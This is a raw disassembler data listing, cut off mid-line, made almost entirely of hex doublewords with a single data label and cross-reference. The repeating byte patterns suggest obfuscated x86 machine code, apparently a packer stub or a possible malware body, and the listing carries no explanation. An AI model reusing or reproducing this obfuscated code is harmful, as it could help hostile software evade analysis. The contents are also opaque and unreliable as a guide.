5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 6672F1C3h, 502BA1BFh, 89240489h, 72145B5h dd 35FF6406h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0F2C35141h dd 0F4E05C2Bh, 3A6DBD8h, 64D9BF0Fh, 2589h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 810F3CC3h, 6, 32ED9529h, 85FF0607h, 6070FA5h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E1C35242h, 0BBCB65DAh dd 333B535Fh, 72C4DBDh, 6AFF6A06h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 739EC355h dd 0B22F5274h, 0FF926EA2h, 73041B5h, 4DBD2B06h, 0FF06072Dh dd 7303595h, 100E906h, 9D8B0000h, 6072B5Dh, 0B70F00B0h dd 8970E6FEh, 721D1BDh, 0FC71E406h, 0F997BF66h, 830F613Ch dd 0DEh, 25ADBD8Bh, 0B60F0607h, 0BD9D8BC8h, 0BA060732h dd 6, 10E8h, 0B9B18D00h, 0FC75F730h, 2E55EDC8h, 6E88082Bh dd 10E978h, 15AB0000h, 7D69B573h, 0E2F3B641h, 368F934Ch dd 8B5F57D2h, 0C1BD8BC1h, 0C1060729h, 66F504E8h, 9529E2F7h dd 6072F6Dh, 850FC82Bh, 6, 1E2D9D8Bh, 0D18B0607h, 96FBF66h dd 6E9h, 0F98D0900h, 8B060721h, 7110185h, 65C38006h, 0F07C083h dd 0C87h, 6860F00h, 8B000000h, 722E9BDh, 7E906h, 4F990000h dd 529DACC7h, 0C0831Eh, 3BF88B66h, 0B830FD0h, 29000000h dd 721E585h, 28E906h, 8D8B0000h, 6071D85h, 834AC380h, 840F01E1h dd 16h, 1D85A583h, 80FE0607h, 95899EC3h, 6071101h, 0E9F5h dd 0B58D0000h, 60B0DC1h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 80C35646h, 518F4481h, 0BD011EAEh, 6072611h dd 0BE960h, 75370000h, 1800B63Ch, 0D129D9CDh, 12E952h dd 0EEF60000h, 0DF88DF4Ch, 12969294h, 36DF1AA1h, 2CA5E262h dd 8B006A61h, 71DED9Dh, 195FF06h, 6A060732h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 0FAA4C351h, 545A0F9Eh, 0BD8B65B4h, 6072E95h, 84DB9h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 23102EF8h, 718E59Dh, 45BD8B06h, 8306072Ch dd 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 9E5B5FC3h, 663AB7BEh, 6B06F381h, 26DD8D89h dd 6AFC0607h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 76D4C353h, 0B143BFE1h, 0FF2A397h dd 0DA8BDAB7h, 9D8BC02Bh, 6070B15h, 0BAh, 0C233AD00h, 0D003E8D1h dd 7504E983h, 0ADEF80F4h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0E6C35646h, 0FDB91486h, 92A510A3h, 0D8CB7DDh dd 88h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h dd 0F6C35040h, 29BD093Ch, 8B060731h, 71B4195h, 0F5BD2306h dd 8B06071Eh, 706058Dh, 359D8B06h, 50060731h, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 6ADE8B58h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0DD34C350h, 4B1EFCC3h, 0B2234DD5h, 0BD83E7B3h, 6070BD1h dd 45840F00h, 0B8000000h, 0 dd 13E8h, 44CCDB00h, 0F9FA91E8h, 84417B8Ch, 3B545F66h dd 5F021721h, 0BE8h, 0C42D2300h, 653726E5h, 0B85B71C6h dd 5BDF8B66h, 0B48D8D5Fh, 8B06074Dh, 70705BDh, 0BFE1FF06h dd 98162Ch, 69BD83h, 0F000607h, 4EC84h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 99B05934h, 0F653AC1Dh, 0B58960F8h, 6072F1Dh, 0F1816651h dd 615B754Ch, 69BD83h, 0F010607h, 4C784h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0BB8CB9A5h, 8E8FFEEh, 0D000000h, 5A401018h, 0FE5ACCFh dd 38Ah, 0FAB70F00h, 12E8605Fh, 0F3000000h, 6C4490B3h dd 9C8C6CA1h, 4375CC1Ah, 916D0FA7h, 959D8985h, 5806071Ch dd 1255958Bh, 83610607h, 70069BDh, 860F0306h, 426h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 67C35141h, 0FE8B88B8h dd 52006A60h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 898FD374h, 70025B5h, 559D2906h, 6606071Dh dd 8509D98Ch, 6070B15h, 6A04E180h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 77BFC355h dd 6653EA1Dh, 5B9AF4BFh, 2870Fh, 0F88B0000h, 840FC90Ah dd 18Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 98C35747h, 0BADA3444h, 0F08DC89Ch, 29958934h, 0E8060716h dd 0Bh, 805087D2h, 64434405h, 8B0A7005h, 701299Dh, 858B5B06h dd 607306Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 0ECC35343h, 26BFDEE5h, 29573D89h, 72C85BDh, 85335B06h dd 6073305h, 0DE8h, 8513B800h, 0C0CFBE66h, 8B66B8B5h, 9D8B83E5h dd 60717B5h, 8D0F905Bh, 0 aPVrj db 'Pvj',0 dw 0E857h dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 44C35747h, 6AC61C39h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 0A7A677A2h, 326F23F8h, 0BF66CBB4h, 9068FC2Ah dd 66EA7C88h, 811BE3BFh, 7B6F2404h, 6A15A2h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 846494C3h dd 0DE95Bh, 2DA80000h, 0EFAFEE6Bh, 30EAA87Fh, 539D1CDEh dd 5F5DF780h, 0B09BD33h, 95FF0607h, 6071B91h, 0DB0FFBBBh dd 72858950h, 6A060AB3h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0E9DBC357h, 195h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0E2C35040h, 0A8D454BAh dd 115C8A69h, 1BD89B4h, 8B060716h, 0AB36A85h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0BD8BD31Fh, 6071695h, 1800C7h, 81660000h, 8B3F35E3h dd 0AB36EB5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 326E97Ah, 358D89B1h, 8B060726h, 7157985h dd 0A99D0106h, 89060731h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 2AD40E99h dd 8719CC7Eh, 9509F5A1h, 607299Dh, 306D858Bh, 8D0F0607h dd 1Ah, 148F0Fh, 0FE90000h, 53000000h, 62011884h, 4AF89873h dd 39D258EEh, 468963A2h, 0E996F504h, 0Fh, 71B8566h, 0AFBA1D5h dd 0ADD2517h, 50E12A39h, 6880Fh, 66500000h, 5B7515BFh dd 56006A96h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 0B5FF0F39h, 60AB36Ah, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 49C35343h, 8BD3B033h, 68F0B7D0h dd 0F12CB573h, 0E40537BBh, 24048127h, 0EF24E8Ch, 0BA99D2Bh dd 858D0607h, 60AB372h, 0B0BC76BBh, 0C1BD3121h, 5006072Eh dd 1240489h, 73059B5h, 9195FF06h, 8B06071Bh, 73359BDh dd 6A6106h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 813DD8C3h, 12E9h, 25FD7300h, 0E644128Bh dd 0D70167CDh, 7BFE3558h, 0C7537E3Bh, 7006985h, 306h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0A919802h, 8321EE45h, 0AB372BDh, 840F0006h, 32h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 77C35545h, 6816164Ch dd 9D238AD0h, 6071525h, 20E9h, 0FCFEBB00h, 30506950h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 51006AC0h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 371A097Fh, 7ED77729h, 11E9D7h, 3AC60000h, 39C93282h dd 0AB0340AFh, 0FB0EF61Dh, 832B6D59h, 70069BDh, 850F0306h dd 4C2h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0DDC35141h, 0B372BD83h, 0F00060Ah, 49984h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0DD47C457h, 9D2919E4h, 6072129h, 0B372B5FFh, 8153060Ah dd 0AC0D3AF3h, 95FF5F6Eh, 6071545h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 20C35242h, 1850Fh, 66F80000h dd 0B58BDA8Bh, 60AB366h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 5EC35646h, 0CE9D1h, 0A4C70000h, 13FE9D60h dd 0FA53B0B3h, 6C76453h, 10001h, 0F50DD8Ah, 380h, 0DA8B6600h dd 0F243489h, 1681h, 11E900h, 220A0000h, 110F9B47h, 0CEA78C85h dd 12FD0EA0h, 0FF902B56h, 0AB372B5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 8B733CE0h dd 72BD99Dh, 1195FF06h, 6A060709h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 9ADC355h dd 70C7585h, 0FDBD8B06h, 8B060705h, 0AB366B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 3EB8ABEh, 0BF6B5CA4h, 2CC9858Bh, 6A0607h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0F6071C3h dd 58Ch, 0EE816600h, 0B589A765h, 6073351h, 0DF8B6661h dd 0C48689h, 8B660000h, 0AD9D8BD9h, 8B060725h, 71B4195h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 0C283F618h, 51006A04h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0B1BF6730h dd 8903206Bh, 6A2050h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 0BD0302C3h, 6070621h, 1265B589h dd 858D0607h, 60AC7EDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 0B5C35747h, 285D7AC2h, 6B04006h, 8E8F5h dd 0D2740000h, 6A36571Dh, 820F136Fh, 5, 0F2B078BFh, 86895B29h dd 0B8h, 0B775B060h, 6A61F8h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 77C35343h, 0B372B5FFh, 0BF0F060Ah dd 0FD95FFF8h, 6A060729h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 0D246C350h, 70CD39C7h dd 1DD4A7C2h, 81DAB70Fh, 18CCF7EBh, 0BF665002h, 3489228Eh dd 0EE924h, 1E750000h, 274B6002h, 587A4F16h, 72A17A3Eh dd 0B372B5FFh, 8B52060Ah, 70A5DBDh, 95FF5F06h, 6071AA5h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 4DC35646h dd 55C02F10h, 8ADBD83h, 0F000607h, 3484h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0CC9D0E80h, 6F6C4AC6h, 0BB505A85h, 27AFE4A8h, 89243489h dd 72D019Dh, 72B5FF06h, 6A060AB3h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0BDC8C350h dd 89FD2F43h, 0FC13D27Ah, 260595FFh, 6A0607h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 893699C3h dd 723A1B5h, 518D8906h, 0FC06072Dh, 0B372B5FFh, 6A060Ah db 52h, 0E8h word_584F4E dw 3 ; DATA XREF: ___:00436804o dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 98C78BC3h, 0FF9AE780h, 71DF195h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 0A094A59Ah dd 0AE994h, 0FADD0000h, 8138DBDh, 0F7CBD160h, 148D0Fh dd 0FE90000h, 35000000h, 8134C1F8h, 0DAFBD1B0h, 9054F27h dd 0BD83F500h, 60703B1h, 4D840F02h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 20BBC352h, 6C841723h, 601BD5E1h, 31518D8Bh, 9D890607h dd 60719F9h, 49858B61h, 0B7060707h, 0C6F7h, 2ECDB960h dd 858912DAh, 60732D1h, 41EF8061h, 0F4985C7h, 607h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0B3FB58C3h, 61B58938h, 6606072Ah, 5EE9FB8Bh, 6AFFFFF2h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 50D8C352h, 5FFE31EBh, 1F2BB3BCh, 9E8h, 0E7CAC500h dd 3E006C75h, 8B0FEFD2h, 4, 1F29BB66h, 6AC18B5Fh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 5D27C352h, 0B04E0433h, 0F2C82E4h, 686h, 619D8B00h, 8D06070Ah dd 71F1985h, 0FE8A9006h, 890F9050h, 6, 8FDBD8Bh, 6A0607h dd 31006AF9h, 72FFDB5h, 0C2858D06h, 80060B9Eh, 61BB5AE3h dd 830DD02Fh, 6A05C0h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 8AFAF8C3h, 0BB66960Fh, 0F3810189h dd 64CF5AD4h, 50D88B90h, 0BB21BB66h, 14E890h, 2AF70000h dd 7AEFC43Fh, 9B9ABCF8h, 9E2DED10h, 41BCD5D8h, 85313EC7h dd 60718FDh, 6A006A5Bh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 0DE53C353h, 1999E45Dh dd 29AA83CAh, 70A818Dh, 6A006A06h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0C3C353h dd 0E99386EFh, 0C897A0CDh, 1BCD95FFh, 6A0607h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 81DFDBC3h, 399D8929h, 8D06070Ch, 0AA5B78Dh, 0FFFE8B06h dd 52006AD1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 60FB0751h, 38F0F8Ah, 80000000h, 0BD8323CBh dd 6071995h, 68850F01h, 0E8000000h, 6, 0F835DAD1h, 858934C1h dd 607302Dh, 0F026A5Fh, 0B160FBBFh, 999523D1h, 61060731h dd 24BB6650h, 24048908h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0DEC35646h, 29FD95FFh, 6A0607h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0E99300C3h, 0E12h, 0E8h, 0ED815D00h, 60B9ECCh, 2D15C781h dd 6A00D1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 75E7CAC3h, 0D23E006Ch, 0E9BD8BEFh, 8D060725h dd 0A910A85h, 0B350F906h, 24048973h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 15C35242h, 35FF644Bh, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0F0C35343h dd 0FF221291h, 258964h, 0FF000000h, 70FA585h, 8D295306h dd 60720CDh, 0A1BD8B5Fh, 6A060700h, 6820FFFh, 81000000h dd 0F32A2FF3h, 21B5FF08h, 0F06072Bh, 38Dh, 0F98B6600h dd 303595FFh, 27E90607h, 0B7000001h, 81B589D9h, 0B006072Ah dd 2860F00h, 0B7000000h, 8970E683h, 700E9B5h, 95DB8106h dd 0E4341052h, 99D8971h, 3C06072Dh, 0F7830F61h, 8B000000h dd 711619Dh, 0C8B60F06h, 3115BD8Bh, 6BA0607h, 66000000h dd 2877DB81h, 0F88BC18Bh, 6604E8C1h, 63ED781h, 89E2F766h dd 704B9B5h, 7FCB8006h, 9D8BC82Bh, 6070619h, 14E8D18Bh dd 17000000h, 0F687D890h, 1D5A7E10h, 3C70C6Fh, 5094D5E0h dd 31FC61D7h, 7047195h, 1E95B06h, 0F8000000h, 8C9858Bh dd 9D890607h, 60723D9h, 8907C083h, 707D99Dh, 0C08306h dd 3BFB8B66h, 1F830FD0h, 89000000h, 733558Dh, 68E906h dd 0F600000h, 68Eh, 0F9B58B00h, 8906071Eh, 70AB1BDh, 8D8B6106h dd 6070941h, 6870Fh, 95890000h, 6072379h, 0F01E183h, 3984h dd 41A58300h, 0FE060709h, 0F4DBD2Bh, 95890607h, 60708C9h dd 1BD8960h, 8B060722h, 71B099Dh, 0F606106h, 58Ch, 3227B800h dd 0B58B4536h, 60718A9h, 0E961h, 0B58D0000h, 60B17D3h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 23C35040h dd 0A252B9F3h, 0E8DE8B66h, 13h, 41EF1119h, 0FE796F30h dd 43212FD7h, 51D260B3h, 89AE947Bh, 71D918Dh, 6A5F06h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 1DC35141h dd 320195FFh, 860F0607h, 1Fh, 14E8h, 0EE4D2E00h, 152DDA59h dd 0F68451C5h, 5A2D11E7h, 2BA5FB6Ah, 7D3BF39h, 0B95F57FAh dd 97Dh, 28B0Fh, 0EEB70000h, 6AFCE183h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 8957C356h dd 603B1CFCh, 5618533h, 0C78B0607h, 5D9D3361h, 0FC060703h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 76C35545h dd 2FDDBD03h, 0B80607h, 3000000h, 71FA59Dh, 0DB816606h dd 0D22BA82Bh, 14E9h, 65404100h, 1B341339h, 75E06334h dd 0DA76AFFFh, 0AC3406D4h, 12E998h, 0A7DE0000h, 17879F20h dd 0CE775A18h, 0DC1C0FF0h, 0EBE3B72Dh, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 78C35040h, 0F3992E73h, 0EE8CFh, 26AE0000h, 2805CC4Ah dd 138B04DEh, 3CB55C8Eh, 2FF58589h, 0E95F0607h, 0Fh, 6316F3AAh dd 0C5891E8Ah, 28C46ADDh, 6A437267h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 57C5C353h dd 89708CBBh, 820F5B6Fh, 15h, 9E8h, 4650FD00h, 46196DC7h dd 8D898B0Eh, 6070699h, 880D5Bh, 81660000h, 8BD8BBDBh dd 71B4195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 66750115h, 1F219D31h, 86BF0607h dd 8B00E1F2h, 706058Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 0CA0391C3h, 5858955h dd 29060722h, 71E0D85h, 0C28B5006h, 0C103188Bh, 0C18B188Bh dd 0C203E8D1h, 8958188Bh, 7166995h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0DCB1668Eh dd 0BD835790h, 6070BD1h, 4A840F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 0C157C352h, 1BD0199h, 0F060727h, 28Bh, 0B8F98B00h, 0 dd 94CB8166h, 0B48D8DFBh, 906074Dh, 732059Dh, 89E1FF06h dd 7077D85h, 69BD8306h, 60700h, 45C840Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 518D3BC3h, 0D74FA99Ch, 83DE8B66h, 70069BDh, 840F0106h dd 445h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 0CBC35242h, 3B535FBBh, 8F6331D6h, 0F98B6686h, 69BD83h dd 0F030607h, 3DA86h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 501CE31Ah, 43EAAD8Fh dd 998D09F9h, 6006071Ah, 0AE92F781h, 8C66645Eh, 50006AD9h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0A3260943h, 6A04E180h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0DEDFC355h, 3B47B31h dd 71CB5BDh, 0FC90A06h, 0E784h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 8EBADCD3h dd 0BD8B5E25h, 6070B31h, 306D858Bh, 6A0607h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8BED97C3h dd 58533FBh, 0BB060733h, 59EB39BBh, 50FE8B90h, 50006A90h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 0FC006A41h, 4E8h, 1F03FF00h, 50D98B00h, 8406BF66h, 424448Bh dd 4489008Bh, 2BBB0424h, 584A33F7h, 0C2DF8166h, 9195FFDFh dd 6A06071Bh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 0C393C350h, 0D0AF091Ah, 8949636Bh dd 7061D8Dh, 72858906h, 66060AB3h, 0FE9DF8Bh, 89000002h dd 7303DB5h, 0DA8B6606h, 0B36A858Bh, 6A060Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8D0FF0C3h dd 0Fh, 0AE9h, 0E41E7F00h, 122F3220h, 0C7DC62A0h, 1800h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 163E5C69h, 0E9EF8B80h, 11h, 0BEB1F805h dd 0C7C806E0h, 21C5254Fh, 6B14A879h, 6EB58B97h, 6A060AB3h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 7875C355h, 0ED65AC4Fh, 2C75BD29h, 858B0607h dd 6071579h, 995BD8Bh, 6890607h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 0FCC35343h, 0F848FAC6h, 0DF81661Ah dd 858BB36Ah, 607306Dh, 0BF0FDC8Ah, 44689DFh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 96C35545h, 379BD8Bh dd 0EE80607h, 1A000000h, 0F1BF5FF7h, 62FF123Ch, 0CBCBD5D1h dd 9BD03B1h, 5F060732h, 8DD5BB96h, 52507DB0h, 965FDA8Bh dd 0B5FF94B3h, 60AB36Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 72C35747h, 12E9h, 1CE9D000h, 36BC3496h dd 84952B71h, 1C4CE56Ah, 681FE4ABh, 52621169h, 96243481h dd 0F9527D12h, 0B372858Dh, 6A060Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 3DC716C3h dd 8BB054E6h, 758529D9h, 90060711h, 9E9h, 8E68D400h, 0CCF2516Bh dd 6050E5CDh, 3C065BEh, 0ADBF661Ah, 6A906179h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 24F0C353h, 31B65FB8h, 860FF0C3h, 6, 11558589h, 840F0607h dd 6, 29BD9D8Bh, 95FF0607h, 6071B91h, 0BB66D88Bh, 2961BFEBh dd 71ED5BDh, 6985C706h, 3060700h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 0A1CDC357h, 83923343h, 0AB372BDh, 840F0006h, 2Bh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 74C35545h, 84F8B25Dh dd 21E9h, 0DBD8900h, 5006072Fh, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 5F57C08Bh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 0CBC35343h, 0EE02D466h, 69BD83F5h dd 3060700h, 447850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 13E981C3h, 4EEBC7E4h dd 1A72BBEDh, 0BD8349D2h, 60AB372h, 12840F00h, 6A000004h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 0D4C9C351h, 0C737484Fh, 0FDBBF0Fh, 0B5FFD8B7h dd 60AB372h, 3830Fh, 0B70F0000h, 19BD89FFh, 0FF060712h dd 7154595h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 0B58BB4D7h, 60AB366h, 33F78166h dd 59D8B19h, 0C706070Bh, 1000106h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 19569035h dd 0EDDE2359h, 14E8961Bh, 0EF000000h, 0F16E333Fh, 0BD8FE03Dh dd 8154FDB0h, 4E3C6DD0h, 0FBC30F8h, 28Ah, 5BFA8B00h, 2B93BB50h dd 89961B8Ah, 704D185h, 0F5BD2306h, 0FF060722h, 0AB372B5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 817EF96Ch, 0BD605DAh, 0A1858924h, 0FF060718h dd 7091195h, 68A0F06h, 8B000000h, 72F219Dh, 66B58B06h dd 8B060AB3h, 73321BDh, 0C9858B06h, 6A06072Ch, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 0B73C350h, 8689A963h, 0C4h, 1C8D8D89h, 958B0607h, 6071B41h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 61C35141h dd 8B04C283h, 205089DAh, 8B7CB060h, 7090D85h, 0BD8B6106h dd 6073029h, 0C7ED858Dh, 6A060Ah, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 5A1489C3h, 7A1C2D6Bh dd 8BFA8BF7h, 0B88689F8h, 0E9000000h, 0Ah, 0B8C7EB2Eh dd 0C6F6C5E8h, 6A374Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 37C35343h, 705119DEh, 0A85C7366h, 39BD8B81h dd 0BB06070Ch, 745EDD81h, 0B372B5FFh, 9D8B060Ah, 6072F69h dd 29FD95FFh, 9D8B0607h, 6070A75h, 24348950h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0D7C35545h, 3654DB81h dd 8D292B9Ch, 6072DC9h, 0B372B5FFh, 6A060Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 40211AC3h dd 0E9027585h, 0Dh, 1547CCACh, 65B65BB7h, 557E651Fh, 0A595FF71h dd 6A06071Ah, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 0FB9DC352h, 8B2FE106h, 3CD8D89h dd 0BD830607h, 60708ADh, 28840F00h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0AC28C355h, 8950D0ACh, 64BF2434h, 0FF5883FCh, 0AB372B5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 10E841C4h, 3C000000h, 7328C0ACh, 7FA2FDDEh dd 0E231A7A5h, 89664492h, 71AC9B5h, 95FF5F06h, 6072605h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0F4C35747h dd 0DE1B4A0h, 0AAD48ABBh, 918D0945h, 6606071Dh, 0FF2F83BBh dd 0AB372B5h, 0BD296006h, 60723CDh, 6E9h, 6E979600h, 6155BA6Dh dd 0FFDAB70Fh, 71DF195h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 9866B78Ah, 10E975h, 34500000h dd 320B9406h, 0C839D8h, 114F137Ah, 0BD83A345h, 60703B1h dd 